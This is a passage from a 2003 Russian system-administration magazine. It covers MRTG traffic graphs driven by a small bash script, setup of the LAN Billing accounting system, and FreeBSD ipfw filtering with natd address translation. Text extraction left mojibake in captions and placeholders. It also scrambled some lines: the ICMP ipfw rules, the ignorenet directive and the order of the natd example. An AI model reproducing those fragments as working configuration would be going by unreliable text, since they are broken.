Очень полезными параметрами являются Refresh и Interval. Первый определяет частоту обновления страниц с отчетами в браузере, а второй – предполагаемый интервал запуска программы MRTG. По умолчанию значения обоих параметров равны 300 секундам. Опции perminute и perhour позволяют измерять трафик в единицах за минуту и час соответственно. Опция noinfo подавляет вывод информации об устройстве и времени его работы. Пример: Options[_]: bits, perminute, noinfo

Я думаю, что теории вполне достаточно, тем более что вместе с MRTG поставляется отличная документация, которая доступна по адресу http://localhost/mrtg/. Теперь перейдем к практической настройке. Скорее всего, у вас не будет SNMP-маршрутизатора, поскольку в небольших сетях маршрутизатором является сама Linux-машина, а выделение средств на приобретение аппаратного маршрутизатора в ближайшие несколько лет не предвидится. Да и намного интереснее считать трафик своего компьютера, а не какого-то маршрутизатора, которого вы даже и не видели. Я предлагаю довольно простое решение, настройка которого не займет у вас много времени. Основывается оно вот на чем: как я уже отмечал, вместо цели можно указать программу, которая бы выводила информацию на стандартный вывод в таком формате: Ñòðîêà Ñòðîêà Ñòðîêà Ñòðîêà

1 2 3 4

Строка 1 – это входящие байты (принятые), Строка 2 – исходящие байты (отправленные), Строка 3 – время, на протяжении которого работает устройство, Строка 4 – имя цели. Где же взять эту программу? Написать самому! Не буду обременять вас лишними подробностями, которые не относятся к самой MRTG, а больше к программированию сценариев, поэтому рассмотрим готовый листинг программы count. Ëèñòèíã 1. Ïðîãðàììà count #!/bin/bash # (c) 2002 Denis Kolisnichenko # Usage: /usr/bin/count iface /bin/grep "$1" /proc/net/dev | /bin/awk -F ":" ↵ '{ print $2 }' | /bin/awk '{ print $1 "\n" $9 }' UPTIME=`/usr/bin/uptime | /bin/awk -F " " '{ print $3 }'` echo $UPTIME echo $1

Использовать программу нужно так: /usr/bin/count èíòåðôåéñ

Например: count eth0

Запустив программу, вы должны увидеть примерно следующие строки: 2738410 1235960 2:57, eth0

Во второй строке программы происходит следующее: находится нужная нам запись с именем интерфейса, который мы указали в первом параметре при вызове программы ($1). Затем интерпретатор awk выводит значения первого и девятого полей, содержащие количество принятых и переданных байт. В третьей строке программы вычисляется время uptime. Последние две строки выводят время uptime и название интерфейса. Предположим, что у вас имеется два интерфейса: локальный eth0 и выделенная линия (ppp0), идущая к провайдеру. Теперь узел MRTG сам является маршрутизатором и самостоятельно считает свой трафик. Файл конфигурации mrtg будет выглядеть так, как это показано в листинге 2. Ëèñòèíã 2. Ôàéë /var/www/html/mrtg/mrtg.cfg Target[eth0]: `/usr/bin/count eth0` WorkDir: /var/www/html/mrtg/ipc Options[eth0]: nopercent,growright,noinfo,gauge Title[eth0]: eth0 Traffic PageTop[eth0]: <h1>eth0 Traffic </h1> MaxBytes[eth0]: 99999999 kilo[eth0]: 1024 YLegend[eth0]: bytes ShortLegend[eth0]: bytes LegendO[eth0]: &nbsp; eth0 Traffic : LegendI[eth0]: &nbsp; eth0 Traffic : Legend1[eth0]: eth1 Traffic in bytes Target[ppp0]: `/usr/bin/count ppp0` WorkDir: /var/www/html/mrtg/ipc Options[ppp0]: nopercent,growright,noinfo,gauge Title[ppp0]: ppp0 Leased Line PageTop[ppp0]: <h1>ppp0 Leased Line </h1> MaxBytes[ppp0]: 99999999 kilo[ppp0]: 1024 YLegend[ppp0]: bytes ShortLegend[ppp0]: bytes LegendO[ppp0]: &nbsp; ppp0 Traffic : LegendI[ppp0]: &nbsp; ppp0 Traffic : Legend1[ppp0]: ppp0 Traffic in bytes

Из листинга 2 видно, что у вас имеются две цели, для каждой из них заданы свои параметры. Нужно учитывать, что имя интерфейса, которое вы передаете программе count, должно совпадать с названием цели (eth0 и ppp0). В качестве рабочего каталога я использовал /var/www/html/mrtg/ipc. От использования каталога /var/www/html/mrtg/ я отказался, поскольку в нем находится документация по mrtg. Параметры MaxBytes, Title и PageTop являются обязательными. При их отсутствии mrtg попросит вас исправить ошибки в конфигурационном файле. Теперь можете запустить программу mrtg командой: mrtg /var/www/html/mrtg/mrtg.cfg

администрирование В каталоге /var/www/html/mrtg/ipc должны появиться первые файлы-отчеты. Имя файла отчета будет совпадать с именем цели. Первые два запуска mrtg будет «ругаться» на отсутствие предыдущих данных, но потом все будет работать как надо. Если третий запуск прошел гладко, то есть без сообщений об ошибках, можно добавить mrtg в расписание демона crond. Для этого добавьте в файл /etc/crontab одну из следующих строк (какая кому нравится): 5,10,15,20,25,30,35,40,45,50,55,59 ↵ * * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg

или 0-59/5 * * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg

После этого желательно перезапустить демон crond: /etc/init.d/crond restart

Программу mrtg можно запускать в режиме демона (не через crond). Для этого установите значение параметра RunAsDaemon, равное yes. За более подробной информацией обратитесь к документации по mrtg. Теперь самое время проверить, как работает mrtg. Запустите браузер и введите адрес http://localhost/mrtg/ipc/ ppp0.html. В результате вы должны увидеть информацию о загрузке канала. Первые графики вы увидите примерно через час после первого запуска mrtg, в зависимости от настроек периода запуска mrtg.

Система LAN Billing предназначена для сбора, преобразования и выдачи информации об IP-трафике. Программа будет полезной интернет-провайдерам, которые хотят вести учет трафика их клиентов, а также директору предприятия, желающего знать, кто из его сотрудников постарался до такой степени, что счет за Интернет увеличился в 2 раза в сравнении с предыдущим месяцем. Кроме того, начальник узнает не только объем переданной и принятой сотрудником информации, а также и узлы, которые сотрудник посещал. Вполне возможно, что сотрудник занимался нужным делом, а может случиться и такое, что подчиненный выкачивал какой-нибудь фильм размером в 800 Мб, и тогда... То, что будет с этим сотрудником, нас не касается, лучше ознакомимся с основными возможностями программы: Подсчет трафика по нескольким подсетям. Поддержка конфигурации сетей, в которых применяется маскирование (masquerade). Детализация данных о трафике с точностью до IP-адреса потребителя и IP-адреса удаленного ресурса, который посещал потребитель за любой промежуток времени. Сжатие статистики для минимизации объема хранимой информации и ускорения доступа к ней со стороны управляющего клиента. Два клиента для доступа к статистике: веб-клиент, написанный на PHP, и Windows. Построение графиков загрузки интернет-канала за отчетный период, а также график распределения нагрузки по сетям и адресам. Сбор статистики с NetFlow-совместимых устройств, например маршрутизаторов Cisco Systems. Поддержка виртуальных групп (возможность присвоения группе адресов или сетей учетной записи, под полномочиями которой пользователь может просматривать статистику только о трафике своей группы адресов). Поддержка контроля доступа для виртуальных групп, в частности прекращение обслуживания по истечении средств на счете клиента. Из всего этого можно сделать вывод, что программа очень полезна. Настроить (читайте – создать самостоятельно) все это средствами Linux – задача вполне выполнимая и посильная для любого профессионала, но довольно неблагодарная. Слишком подробно программу рассматривать не буду, поскольку на сайте http://www.lanbilling.ru находится прекрасная документация по этой программе. В этой статье мы рассмотрим только установку и настройку системы LAN Billing, а об ее использовании вы сможете прочитать в документации по системе. Система LAN Billing состоит из трех основных компонентов: сетевого агента; сервера статистики; управляющего клиента.

Ðèñ. 1. Ñòàòèñòèêà äëÿ óñòðîéñòâà ppp0

Если вы администратор довольно большой сети уровня предприятия, возможно, более удобным решением для вас станет использование программы LAN Billing, которая разработана компанией Network Solutions.

№6(7), июнь 2003

Сетевой агент занимается подсчетом трафика, сервер статистики хранит таблицы, содержащие информацию о трафике, а управляющий агент управляет всем этим. Если быть предельно точным, то управляющий клиент не только управляет конфигурацией системы, а еще и создает отчеты об использованном трафике сети.

администрирование Сетевой агент может быть двух видов:

Агент для сетевого адаптера Ethernet (для операционных систем Linux, FreeBSD, NetBSD).

Сервер для аппаратного маршрутизатора или коммутатора Cisco, поддерживающего протокол NetFlow. Существует несколько способов интеграции системы LAN Billing в вашу сеть. Вот четыре основных способа: Установка системы на Unix-маршрутизатор. Установка системы на Unix-маршрутизатор, выполняющий NAT/Masquerade. Система устанавливается в сегмент, в котором находится маршрутизатор, и информация о трафике доступна на сетевом уровне. Система устанавливается в сегмент, доступный по IPпротоколу (UDP) для NetFlow-совместимого устройства, осуществляющего маршрутизацию. В первом случае мы выступаем владельцами IP-сети, то есть каждому компьютеру нашей сети назначен реальный IP-адрес. Это самый простой случай. Второй случай подразумевает под собой наличие одного реального IP-адреса. Естественно, компьютер с настоящим IP-адресом – это маршрутизатор. Все остальные компьютеры получают доступ к Интернету через шлюз с настоящим IP-адресом. Шлюз выполняет NAT (сетевое преобразование адреса), при котором компьютеры нашей сети «думают», что они по-настоящему общаются с узлами Интернета, а последним кажется, что они общаются только с нашим шлюзом. То есть шлюз перезаписывает заголовки IP-пакетов, заменяя фиктивный IP-адрес любого узла нашей сети на свой собственный (реальный адрес) и отправляет пакет в Интернет. Когда пакет приходит обратно, он опять перезаписывает IP-адрес и отправляет его определенному компьютеру нашей сети. В третьем случае интерфейс маршрутизатора и сервера с установленной системой LAN Billing объединены концентратором. Мне более близок первый случай, но остановимся на втором, поскольку он более близок к реалии наших дней – не у каждого предприятия есть своя собственная IP-сеть. Программа LAN Billing поставляется в виде пакета RPM, поэтому проблем с ее установкой не возникает. Параметры учета трафика находятся в файле /etc/ billing.conf. При редактировании этого файла обратите внимание на то, что даже если какая-нибудь директива не используется, она должна присутствовать в файле и не быть закомментированной. Иначе произойдет ошибка при инициализации системы. Комментарии в этом файле начинаются со знака решетки #. В дальнейшем будем предполагать, что реальный IP-адрес сервера 193.111.111.1, и что у нас один сегмент сети с фиктивными адресами – 192.168.0.1. Директива serverextip определяет внешний адрес сервера (реальный IP-адрес). Данную директиву нужно использовать, если вы используете NAT, в противном случае, оставьте эту директиву без изменения. Значение по умолчанию – 150.150.150.150. serverextip=193.111.111.1

Директива writemode определяет, какой режим записи данных о трафике мы хотим использовать: db или file. В первом случае мы будем использовать для хранения статистики сервер MySQL, а во втором – данные будут сохраняться в файле. Второй случай нам не интересен, поскольку мы не сможем генерировать отчеты средствами системы LAN Billing, поэтому установите значение db. writemode=db

Следующая группа директив определяет параметры сервера MySQL: его адрес, имя пользователя, пароль и базу данных. serveraddress=192.168.0.1 mysqluser=sqluser mysqlpassword=qwerty123456 mysqldatabase=nfbilling

Директива LogFile определяет месторасположение файла протокола работы системы. Файл, определенный в директиве LogFile будет использоваться, если вы определили режим учета file в директиве writemode. logfile=/var/log/nfbilling/nfbilling.log

Директива сегмент описывает наш сегмент сети. В директиве указывается адрес и маска сети. Можно использовать несколько директив – в зависимости от количества сегментов, для которых мы хотим вести учет трафика. При указании маски сети нельзя использовать битовую нотацию (192.168.0.0/24). segment=192.168.0.0 255.255.255.0

С помощью директивы actuality можно указать время, на протяжении которого база данных будет хранить информацию об адресе назначения и сервисах, с которыми соединялись наши пользователи. По умолчанию – 100 часов. actuality=100

Директива minter определяет время, за которое нужно объединять статистику об однотипном трафике для последующего хранения. По умолчанию – 100 секунд. minter=100

Период записи информации о трафике можно определить с помощью директивы flush. По умолчанию – 600 секунд. flush=600

Директива fdelay определяет время в секундах после регистрации последнего пакета, когда поток считается завершенным и подлежащим записи в базу данных. fdelay=60

администрирование Директива dumpfile задает имя файла, содержащего временную информацию о незавершенных потоках. dumpfile=/var/log/nfbilling/nfbcd-dump

Директива device определяет интерфейс, на котором нужно считать трафик. Как правило, нужно считать трафик внешнего интерфейса. Например, если вы подключаетесь к Интернету через интерфейс ppp0 (выделенная линия), а к своей домашней сети через eth0, но вести нужно учет интерфейса ppp0. devide=ppp0

Директива ignoremask указывает маску подсети, трафик которой мы будем игнорировать. Эта директива нужна, чтобы мы не считали локальный трафик. При учете пакетов на интерфейсе, подключенном к Интернету, нужно задать маску 255.255.255.255: ignoremask=255.255.255.255

Директива ingnorenet определяет сеть, трафик которой должен быть проигнорирован в любом случае. Синтаксис ее такой же, как и синтаксис директивы segment. Можно использовать для нетарифицируемого трафика.

duser=nobody dgroup=nobody dport=7223

После правки файла конфигурации нужно перезапустить систему. Для этого выполните одну из команд: killall –HUP nfbcd killall –HUP nfbccd

Но более корректной будет команда: /etc/rc.d/init.d/nfbilling.init restart

Обычно сетевой агент LAN Billing запускается автоматически, но вы можете запустить его вручную с помощью команды: /etc/rc.d/init.d/nfbilling.init start

Остановить агента можно командой: /etc/rc.d/init.d/nfbilling.init stop

Теперь можно просмотреть результат нашей работы. Управляющий клиент системы выполнен в виде вебинтерфейса. Для доступа к статистике вы можете использовать любой браузер. В поле ввода адреса браузера введите:

ignorenet=127.0.0.0 255.0.0.0 http://âàø_web_ñåðâåð/analyze.php

Директивы debug и debugfile относятся к отладке программы. Директивы headers и Disable пользователем (читайте – администратором) не используются. Директивы duser, dgroup используются для определения учетных записей пользователя и группы, под полномочиями которых выполняется сетевой агент Cisco. Директива dport определяет номер порта агента Cisco.

№6(7), июнь 2003

В случае если система установлена и функционирует корректно, вы получите доступ к консоли администратора. Более подробную информацию о программе, а также примеры ее применения вы можете посмотреть на сайте http://www.lanbilling.ru. Ваши вопросы и комментарии присылайте по адресу dhsilabs@mail.ru.

администрирование

Ipfw и управление трафиком в FreeBSD

ИГОРЬ ЧУБИН 26

администрирование Трафик, проходящий через шлюз, не должен быть бесконтрольным. Абсолютно естественно, когда хочется: Выполнять фильтрацию трафика, то есть пропускать только то, что можно, фиксировать то, что нужно, и уничтожать все остальное. Выполнять трансляцию адресов, для того чтобы скрыть несколько хостов одним, когда нужно дать доступ к Интернету целой сети, а есть только один IP-адрес; или перенаправить различные входящие соединения на различные компьютеры, скрытые за брандмауэром. Выполнять регулировку трафика, то есть ограничивать трафик одного вида, чтобы трафик другого вида чувствовал себя свободнее. Выполнять учет трафика, дабы знать, каков объем тех или иных данных, прошедших через шлюз за определенный промежуток времени. ОС FreeBSD предлагает хороший инструментарий для решения названных вопросов. Центральным элементом этого инструментария является подсистема ядра IPFW, предназначенная для пакетной фильтрации и других родственных задач; и одноименная утилита ipfw, которая нужна для настройки этой подсистемы. Здесь рассматривается, как пользоваться утилитой ipfw для настройки фильтрации/учета/регулировки трафика; конфигурировать демон natd для выполнения трансляции адресов, а также указывается, с какими опциями должно быть собрано ядро системы, для того чтобы все это работало. В завершение рассказывается, как IPFW и natd автоматически настраивать при загрузке системы.

Фильтрация пакетов Что это такое, и для чего нужна фильтрация пакетов Внутренняя дружественная сеть и потенциально опасный Интернет должны быть разделены. Внутренние компьютеры должны быть ограничены от пагубного внешнего воздействия, но при этом, с одной стороны, они должны обеспечивать другие компьютеры внутренней сети необходимыми сервисами; с другой стороны, должны иметь полноценный доступ к компьютерам Интернета. Эта задача обычно решается при помощи брандмауэра. Брандмауэр представляет собой программно-аппаратный комплекс, выполняющий разграничение сетей и ограничивающий доступ из одной сети в другую. Термин брандмауэр (firewall) берет свое начало в строительной отрасли, где он означает сооружение, препятствующее распространению огня при пожаре из одной части здания в другую. Аналогичным образом в компьютерных сетях брандмауэр ограничивает распространение вредного сетевого воздействия. Брандмауэры обычно устанавливаются в том месте, где внутренняя сеть соединяется с Интернетом. Весь трафик, входящий из Интернета или исходящий из внутренней сети, проходит через брандмауэр. При этом брандмауэр может

№6(7), июнь 2003

проанализировать трафик и выяснить, является ли он допустимым с точки зрения политики безопасности. Брандмауэры обычно строятся на базе двух элементов, которые занимаются фильтрацией и контролем трафика, но делают это по-разному: Фильтры пакетов выполняют анализ содержимого проходящих через него сетевых пакетов и пропускают только некоторые из них. Таким образом, нежелательные соединения отсекаются. Такой брандмауэр работает на сетевом и транспортном уровнях и абсолютно прозрачен (незаметен) для протоколов более высокого уровня. Проблема фильтрации пакетов обычно ложится на плечи ядра системы: в Linux этим занимается NetFilter, в OpenBSD – PF, а в FreeBSD – IPFW или IPF. Кстати, очень мощный функциональный фильтр пакетов PF из OpenBSD в скором времени может быть полностью портирован и в FreeBSD. Брандмауэр уровня приложений также известен как прокси-сервер (сервер-посредник). Запросы на ресурсы по ту сторону сети направляются ему, а он уже самостоятельно получает доступ к этому ресурсу и передает полученную информацию запросившему ее клиенту. Брандмауэр работает на уровне приложений. Это значит, что не существует прозрачных соединений более низкого уровня, проходящих через него. Ярким примером такого рода брандмауэра может служить кэширующий прокси-сервер, который обрабатывает клиентские HTTP-запросы. Клиенты не могут соединиться напрямую с веб-сервером и отправляют запрос прокси-серверу, который, в свою очередь, обращается уже к веб-серверу. Здесь рассматривается только первый из этих элементов – пакетный фильтр, а точнее, его реализация IPFW в FreeBSD.

Утилита ipfw Утилита ipfw используется в FreeBSD для управления пакетным фильтром IPFW и регулировщиком трафика dummynet, встроенными в ядро. Каждый пакет, обрабатываемый ядром, проходит через цепочку правил (ruleset). Цепочка представляет собой набор правил, на соответствие каждому из которых последовательно проверяются пакеты. Если соответствие найдено, выполняется заданное действие, иначе проверяется следующее правило. И так до тех пор, пока не будет найдено соответствие или не проверятся все правила цепочки. В последнем случае срабатывает правило по умолчанию, которое определяет, как нужно поступить с теми пакетами, о которых никто не побеспокоился. Каждое правило в цепочке имеет номер от 1 до 65535. Номера не обязательно должны идти подряд, важно то, что правила с меньшим номером проверяются раньше правил с большим номером. Правило по умолчанию всегда имеет номер 65535. Например, в этом случае цепочка фильтрации содержит два правила. # ipfw list 00100 deny ip from 10.0.0.2 to any 65535 allow ip from any to any

администрирование Первое правило отклоняет (deny) все пакеты, которые приходят от хоста с адресом 10.0.0.2. Второе правило, которое является правилом по умолчанию, разрешает проходить всем остальным. Цепочку правил можно модифицировать с помощью ipfw. Для этого утилите нужно указать, какое действие она должна выполнить с цепочкой:

Òàáëèöà 2. Ýëåìåíòû ïðàâèëà ipfw.

# ipfw äåéñòâèå [ ÷èñëî ] [ ïðàâèëî ]

Здесь действие определяет действие, которое нужно выполнить; правило – правило, которое будет добавлено в цепочку (при условии, что его нужно добавлять). Необязательное поле число указывает, с каким именно правилом в цепочке выполняется действие. Например, команда: # ipfw add deny ip from 10.0.0.3 to any

добавит правило deny ip from 10.0.0.3 to any в цепочку фильтрации. Номер правила будет выбран автоматически: он будет равен максимальному номеру правила (не считая правила по умолчанию) плюс шаг. Команда: # ipfw add 100 deny ip from 10.0.0.3 to any

будет работать точно также, но если правило с номером 100 уже существует, оно будет перезаписано.

Простейшими действиями ipfw являются allow и deny. Действие allow разрешает прохождение пакета, и он больше не проверяется на соответствие ни одному условию, а deny, наоборот, приводит к тому, что пакет отбрасывается. При этом отправитель не получает никакой информации о судьбе пакета – пакет считается просто потерявшимся. Если нужно, чтобы отправитель знал о том, что пакет был уничтожен, следует использовать действие unreach host. Другие действия ipfw, такие как divert, fwd, pipe, queue, используются для организации трансляции адресов и регулирования полосы пропускания. Òàáëèöà 3. Äåéñòâèÿ â ïðàâèëàõ ipfw.

Òàáëèöà 1. Äåéñòâèÿ ñ öåïî÷êàìè ïðàâèë.

Правила ipfw Общая структура правила такова: [ ÷èñëî ] [ set ÷èñëî ] [ prob âåðîÿòíîñòü ] äåéñòâèå [ log ] òåëî

Обычно большинство полей в правиле не указывают, и оно имеет более простую структуру: [ ÷èñëî ] äåéñòâèå òåëî

Каждое правило содержит условие (тело), при котором оно будет срабатывать, и действие (действие), которое говорит о том, как именно правило будет себя вести. Например, правило:

Пример фильтрации пакетов Попробуем теперь применить наши знания на практике и немного поэкспериментировать с нашим фильтром. Для этих экспериментов необходимо, чтобы ядро было собрано с поддержкой IPFW. Как правило, ядро включает поддержку IPFW, но если нет, результатом выполнения любой команды ipfw будет сообщение об ошибке. В этом случае ядро нужно пересобрать (см. далее раздел «Настройка ядра для поддержки ipfw») или просто загрузить модуль: # kldload ipfw

Настройка фильтра начинается с его очистки: allow from any to any # ipfw -q flush

содержит действие allow, которое применяется ко всем пакетам (при условии, что пакет дошел до правила). Выбор пакетов определяется телом правила: from any to any.

Все правила фильтрации удалены, фильтр пуст. Теперь действует только правило по умолчанию, и что произойдет

администрирование с трафиком, определяет только оно: трафик будет беспрепятственно проходить, если правило по умолчанию accept (ядро собрано с опцией IPFIREWALL_DEFAULT_TO_ACCEPT), и уничтожаться в противном случае. Когда по умолчанию трафик запрещен, если вы начали настраивать фильтр пакетов удаленно, то на этом настройка, скорее всего, и закончится. Очистив фильтр, вы тем самым удалили правило, которое позволяло поддерживать вам удаленную сессию доступа. Для того чтобы этого не произошло, нужно было добавить команду, разрешающую трафик: # ipfw -q flush && ↵ ipfw add 65000 allow ip from any to any

Теперь компьютер открыт всему миру, и в данном случае открытость – не самое лучшее его качество. Нужно закрыть все лишнее. Пусть: Трафик с адресами 127.0.0.0/8 разрешен только через интерфейс обратной петли; Запрещается весь трафик, приходящий через внешний интерфейс (назовем его ${external}), если у него адрес отправителя или получателя относится к диапазону зарезервированных для внутреннего использования адресов; Разрешаются только входящие TCP-соединения на 22, 25 и 80 порты, то есть мы принимаем соединения из Интернета, адресованные только нашему SSH, почтовому и веб-серверам; Разрешены любые исходящие TCP-соединения, то есть мы можем соединяться с любым компьютером в Интернете, когда сами этого захотим; Разрешается UDP-трафик на 53 и с 53 порта, то есть трафик, необходимый для работы DNS; Разрешается прохождение исходящих эхо-запросов и входящих эхо-ответов, то есть мы можем пинговать внешние компьютеры, а они нас нет; Весь остальной трафик должен быть заблокирован. Запрет локального трафика не через локальный интерфейс выполняется правилами, которые уже стали традиционными при настройке фильтра пакетов: # ipfw add 100 allow ip from any to any via lo0 # ipfw add 200 deny ip from any to 127.0.0.0/8 # ipfw add 300 deny ip from 127.0.0.0/8 to any

Первое правило разрешает любой трафик через интерфейс петли обратной связи lo0. Следующие два запрещают весь трафик, который приходит с зарезервированных адресов из сети 127.0.0.0/8. Правила 200 и 300 сработают только в том случае, если пакет прошел не через интерфейс lo0. Трафик с адресами внутренних сетей (RFC 1918) не должен приходить через внешний интерфейс. # ipfw add deny from any to 10.0.0.0/8 via ${external} # ipfw add deny from any to 172.16.0.0/12 via ${external} # ipfw add deny from any to 192.168.0.0/16 via ${external}

Такой же трафик не должен и уходить, хотя, в сущности, для нас это менее важно:

№6(7), июнь 2003

# ipfw add deny from 10.0.0.0/8 to any via ${external} # ipfw add deny from 172.16.0.0/12 to any via ${external} # ipfw add deny from 192.168.0.0/16 to any via ${external}

Ключевая часть фильтрации: мы хотим, чтобы из внешней сети были доступны только те сервисы, которые нужно, и не более того. Нужно, чтобы наш компьютер можно было удаленно администрировать с помщью SSH (22); он должен принимать почту по протоколу SMTP (25) и поддерживать веб-сервер (80): # ipfw add 2000 allow tcp from any to ${external} 22,25,80 setup # ipfw add 2100 allow tcp from any to any established

Первое правило разрешает устанавливать соединения из любой точки сети на внешний интерфейс нашего хоста ${external} по портам 22, 25 и 80. Ключевое слово setup в конце строки говорит о том, что правило относится только к пакетам, инициирующим соединение (то есть тем, которые имеют установленный флаг SYN и сброшенные ACK и RST). Второе правило относится к другим пакетам: тем, которые передаются в рамках уже установленного соединения. Такие пакеты разрешаются все. Логика правила очень простая: «Если соединение уже каким-то образом удалось установить, то значит все нормально, данные могут проходить. Если же соединение не установлено, а пакет просто делает вид, что относится к какому-то соединенеию, ну что ж, это его проблемы, он все равно никому не нужен.» Правило рассуждает так, но здесь оно немного ошибается. В определенных случаях подобный пакет, если его умело составить, может нанести вред компьютерам за брандмауэром. Для того чтобы справиться с такими пакетами, нужно использовать фильтр с поддержкой состояний (stateful), но об этом в другой раз. Если соединение хотим установить мы, то препятствий быть не должно: # ipfw add 3000 allow tcp from ${external} to any setup

Обратите внимание на то, что мы разрешаем соединение только с одного IP-адреса. Если же нас интересует несколько IP-адресов, то мы должны указать их либо в виде адреса сети, либо создать несколько правил – по одному для каждого из адресов. Следующее правило относится к UDP-трафику. Этот трафик справедливо заслужил репутацию не самого безопасного: из-за отсутствия внутренних механизмов контроля соединения отследить его действительный источник практически невозможно, что делает подмену адресов легким делом. Проблема осложняется тем, что этот трафик используют такие потенциально небезопасные службы, как, например, NFS. Внутри сети UDP ведет себя хорошо: неперегруженный лишними механизмами обеспечения надежной доставки и контроля соединения, он легок и экономичен, и в сети это, определенно, является благом, но за ее пределами все обстоит совершенно иначе. В результате правило работы с UDP звучит так: если от UDP нельзя избавиться совсем, его должно быть как можно меньше. # ipfw add 4000 allow udp from ${external} to any 53 # ipfw add 4100 allow udp from any 53 to ${external}

администрирование Правила разрешают прохождение UDP-трафика в том случае, если он отправлен на внешний DNS-сервер или, наоборот, DNS-сервер направил его нам. Эти правила не являются идеальными, хотя и решают подавляющее большинство проблем с UDP. Но ничто не мешает злоумышленнику представиться DNS-сервером и отправлять UDPпакеты с 53 порта. Здесь, также как и раньше, полную уверенность может дать только фильтрация с поддержкой состояний. Последнее, что мы хотим разрешить, – это ICMP. Но мы почему-то хотим, чтобы наш компьютер нельзя было пропинговать извне, однако при этом, как свойственно человеческой природе, сами пинговать других собираемся: # ipfw in # ipfw to # ipfw in

add 5000 deny icmp from any to ${external} ↵ icmptypes 8 add 5100 allow icmp from ${external} ↵ any out icmtypes 8 add 5200 allow icmp from any to ${external} ↵ icmptypes 0

Правило 5000 запрещает входящие (in), а правило 5100 разрешает исходящие (out) ICMP эхо-запросы (ECHO REQUEST, 8). Правило 5200 разрешает эхо-ответы (ECHO REPLY, 0), приходящие на наш хост. Последним правилом, которое подводит черту под настройкой фильтрации пакетов, является запрет всего, что не разрешено: # ipfw add 64000 deny ip from any to any

Правило должно встать перед правилом 65000, которым мы ранее разрешили весь трафик.

Трансляция адресов Что это такое, и зачем нужна трансляция адресов IP-адреса (и другие параметры заголовков) пакетов, проходящих через хост, можно изменять. Измененение IPадреса отправителя дает возможность скрывать несколько адресов хостов одним, а IP-адреса получателя, например, распределять нагрузку между несколькими хостами. Изменение порта отправителя в некоторых случаях позволяет обходить ненужные брандмауэры, а порта получателя, к примеру, организовать прозрачную работу прокси-сервера. В частном случае нужно выполнить маскарадинг, то есть скрытие множества хостов, работающих с разными IP-адресами, одним. Из-за ограниченности адресного пространства IP, каждый хост, который пользуется услугами Интернета, не может получить собственного IP-адреса. В этом случае используются адреса из диапазонов 10.x.x.x, 192.168.x.x., 172.16.x.x.-172.31.x.x. Эти адреса зарезервированы для внутреннего использования и не могут встретиться в Интернете. Компьютеры, имеющие такие адреса, могут общаться друг с другом в пределах одной сети, но не могут выходить за ее пределы: пакеты, имеющие такие адреса, будут попросту уничтожаться.

Для того чтобы обеспечить хостам с внутренними адресами возможность доступа к Интернету, используется маскарадинг. При маскарадинге адрес отправителя пакета автоматически подменяется внешним адресом сетевого интерфейса хоста, на котором он осуществляется.

Трансляция адресов в FreeBSD В FreeBSD трансляцию адресов пакетов можно выполнить двумя способами: natd Демон natd является процессом, то есть он работает не в пространстве ядра, а в пространстве пользователя. Поэтому для обработки демоном трафик должен копироваться из ядра в пространство пользователя и обратно. Это несколько уменьшает производительность. ipnat Трансляция адресов выполняется ядром системы. Каждый из этих механизмов имеет собственные способы настройки. Здесь рассматривается только первый вариант, то есть обеспечение маскарадинга с помощью natd.

Настройка natd Демон natd является процессом, работающим в пространстве пользователя (то есть не в пространстве ядра). Следовательно, пакеты, которые он обрабатывает, должны как-то к нему попасть. Действие divert пакетного фильтра может справиться с такой задачей. Если к пакету применяется действие divert, он передается на соответствующий сокет и его обработка фильтром пакетов на этом прекращается (если сокет закрыт или не существует, пакет просто уничтожается). Например, для того чтобы все пакеты, которые отправлены из сети 192.168.15.0 и проходят через интерфейс ${natd_interface}, передавались демону natd, нужно модифицировать правила таким образом: # ipfw add divert 8868 tcp from 192.168.15.0/24 ↵ to any via ${natd_interface}

Здесь ${natd_interface} – интерфейс, через который пакеты уходят из сети во внешний мир, а 8868 – номер сокета, на котором ведет прослушивание natd. Вместо 8868 можно написать символическое имя порта: natd. Для того чтобы трансляция адресов работала, необходимо, чтобы natd получал и все пакеты, которые возвращаются обратно. Можно пойти еще дальше и передавать демону natd вообще все пакеты, которые проходят через ${natd_interface}: # ipfw add divert 8868 tcp from any to any via ${natd_interface}

Собственно, настройка ipfw дает только то, что пакеты будут переданы демону natd. Основная работа выполняется самим демоном, так что нужно сконфигурировать и его. Конфигурация natd задается либо аргументами его командной строки, либо конфигурационным файлом /etc/

администрирование natd.conf (имя конфигурационного файла должно быть указано при вызове natd с ключом -f). Параметры конфигурационного файла и аргументы командной строки natd в точности повторяют друг друга, с той разницей, что когда параметр указывается в командной строке, перед ним нужно поставить минус. Например, сказать: # natd -interface xl0

значит то же самое, что и просто: # natd -f /etc/natd.conf

Теперь, когда natd получает весь внешний трафик, он должен правильно обработать его. Задача конфигурирования natd сводится к выбору набора директив, которые должны быть указаны в конфигурационном файле /etc/natd.conf или в качестве аргументов при запуске natd. Конфигурация выглядит так (вместо переменной ${external} нужно указать имя интерфейса, например xl0 или en1, а вместо ${proxy} и ${mailhub} нужно подставить соответствующие IP-адреса): interface ${external} proxy_rule port 80 server ${proxy}:3128 redirect_port tcp ${mailhub}:25 25

когда в конфигурационном файле /etc/natd.conf находится: interface xl0

Пример настройки трансляции адресов Итак, пусть наша сеть подключается через шлюз к Интернету. Шлюз имеет два интерфейса: ${internal} – внутренний и ${external} – внешний. Компьютеры внутри сети имеют адреса из диапазона, рекомендованного для использования внутри сетей. Необходимо: обеспечить маскирование компьютеров с внутренними адресами внешним адресом интерфейса; дать возможность работать прозрачному прокси-серверу ${proxy}; перенаправлять входящие из Интернета соединения по 25 порту на хост ${mailhub} внутри сети. Все перечисленные задачи решаются с помощью natd. Первым делом необходимо изменить правила фильтрации пакетов так, чтобы трафик, проходящий через внешний интерфейс, обрабатывался демоном: # ipfw add 6000 divert natd ip from any to any via ${external}

Первый параметр указывает, что маскировка внутренних компьютеров должна проводиться адресом внешнего интерфейса ${external}. Второй параметр заставлет natd перенаправлять все соединения по 80 порту на порт 3128 прокси-сервера ${proxy}. Для того чтобы прозрачное проксирование работало, сервер должен быть настроен соответствующим образом. Последнее правило обеспечивает перенаправление входящих SMTP-соединений на хост ${mailhub} внутри сети. Теперь почтовый сервер и брандмауэр разнесены на разные машины. Стоит отметить, что поскольку 25-й порт хоста ${mailhub} выставлен в Интернет, хост следует размещать внутри DMZ, а на безопасности программы почтового сервера этого хоста сосредоточить усиленное внимание.

